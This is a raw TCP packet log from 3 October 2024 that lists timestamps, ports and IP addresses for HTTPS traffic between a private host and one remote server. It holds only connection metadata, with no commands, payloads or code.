Oct 3, 2024 03:36:14.092784882 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:14.093069077 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:14.093086958 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:14.763248920 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:14.763413906 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:14.763900995 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:14.763911963 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:14.765861988 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:14.765876055 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.197571993 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.197638988 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.197683096 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.197856903 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.197856903 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.197858095 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.197931051 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.197988987 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.228424072 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.228447914 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.228580952 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.228595972 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.228637934 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.295402050 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.295429945 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.295561075 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.295577049 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.295614004 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.325114012 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.325136900 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.325270891 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.325284004 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.325331926 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.363176107 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.363197088 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.363274097 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.363285065 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.363320112 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.394051075 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.394083023 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.394190073 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.394203901 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.394247055 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.412800074 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.412864923 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.413021088 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.413037062 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.413100958 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.430505991 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.430555105 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.430598021 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.430613995 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.430643082 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.430656910 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.448077917 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.448096991 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.448174000 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.448189020 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.448236942 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.462652922 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.462717056 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.462788105 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.462805033 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.462836981 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.462857008 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.479578018 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.479615927 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.479734898 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.479749918 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.479803085 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.493094921 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.493118048 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.493216038 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.493221045 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.493263960 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.509238958 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.509263992 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.509327888 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.509332895 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.509533882 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.528811932 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.528839111 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.528889894 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.528894901 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.528932095 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.530164003 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.530183077 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.530222893 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.530226946 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.530246019 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.530261993 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.536753893 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.536787033 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.536833048 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.536837101 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.536870956 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.536870956 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.536907911 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.537553072 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.537565947 CEST	443	49736	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.539004087 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.539112091 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:15.539217949 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.539552927 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:15.539585114 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.183451891 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.183576107 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.276150942 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.276177883 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.301470041 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.301486015 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.612782955 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.612813950 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.612834930 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.612890005 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.612960100 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.612989902 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.613070011 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.643974066 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.644012928 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.644124031 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.644144058 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.644184113 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.710932970 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.710963964 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.711206913 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.711242914 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.711394072 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.740617990 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.740650892 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.740880966 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.740915060 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.740969896 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.778583050 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.778669119 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.778702021 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:16.778773069 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.778810978 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.779053926 CEST	49737	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:16.779078960 CEST	443	49737	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:17.029017925 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:17.029071093 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:17.029155016 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:17.029387951 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:17.029407978 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:17.668535948 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:17.668662071 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:17.669215918 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:17.669228077 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:17.670898914 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:17.670905113 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.096803904 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.096833944 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.096849918 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.096879959 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.096910954 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.096923113 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.096965075 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.126857996 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.126877069 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.126955986 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.126976013 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.127012968 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.192399025 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.192418098 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.192518950 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.192533970 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.192573071 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.225634098 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.225653887 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.225790977 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.225802898 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.225835085 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.258606911 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.258630037 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.258748055 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.258759022 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.258807898 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.288316011 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.288336039 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.288436890 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.288449049 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.288490057 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.306829929 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.306848049 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.306945086 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.306952953 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.306996107 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.324242115 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.324261904 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.324338913 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.324347019 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.324384928 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.341396093 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.341417074 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.341491938 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.341504097 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.341550112 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.355856895 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.355927944 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.355978966 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.356009960 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.356024981 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.356054068 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.372554064 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.372605085 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.372658014 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.372668028 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.372698069 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.372716904 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.385797024 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.385850906 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.385905981 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.385921001 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.385935068 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.385970116 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.400552988 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.400604010 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.400650978 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.400671959 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.400703907 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.400713921 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.411834002 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.411878109 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.411931038 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.411938906 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.411967039 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.411989927 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.420324087 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.420372009 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.420422077 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.420432091 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.420459986 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.420478106 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.429898977 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.429948092 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.430002928 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.430011034 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.430039883 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.430052996 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.438523054 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.438544035 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.438616991 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.438628912 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.438664913 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.445452929 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.445470095 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.445584059 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.445594072 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.445637941 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.456468105 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.456499100 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.456620932 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.456630945 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.456674099 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.470177889 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.470222950 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.470283985 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.470294952 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.470325947 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.470345974 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.482950926 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.482991934 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.483055115 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.483067989 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.483216047 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.483216047 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.495215893 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.495259047 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.495313883 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.495333910 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.495469093 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.495470047 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.503844976 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.503887892 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.503926992 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.503945112 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.503961086 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.503979921 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.513782024 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.513823986 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.513926983 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.513952017 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.513978004 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.513999939 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.531766891 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.531809092 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.531958103 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.531991005 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.532130957 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.533552885 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.533607006 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.533649921 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.533658028 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.533687115 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.533703089 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.538099051 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.538142920 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.538248062 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.538259029 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.538270950 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.538304090 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.556788921 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.556816101 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.556910992 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.556930065 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.556967974 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.569581985 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.569644928 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.569675922 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.569705009 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.569833040 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.569833040 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.582056999 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.582108974 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.582143068 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.582153082 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.582187891 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.582206964 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.590647936 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.590692043 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.590776920 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.590785980 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.590812922 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.590841055 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.600732088 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.600779057 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.600812912 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.600821018 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.600845098 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.600867033 CEST	49738	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:18.615216970 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.615258932 CEST	443	49738	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:18.615319967 CEST	49738	443	192.168.2.6	49.12.197.9
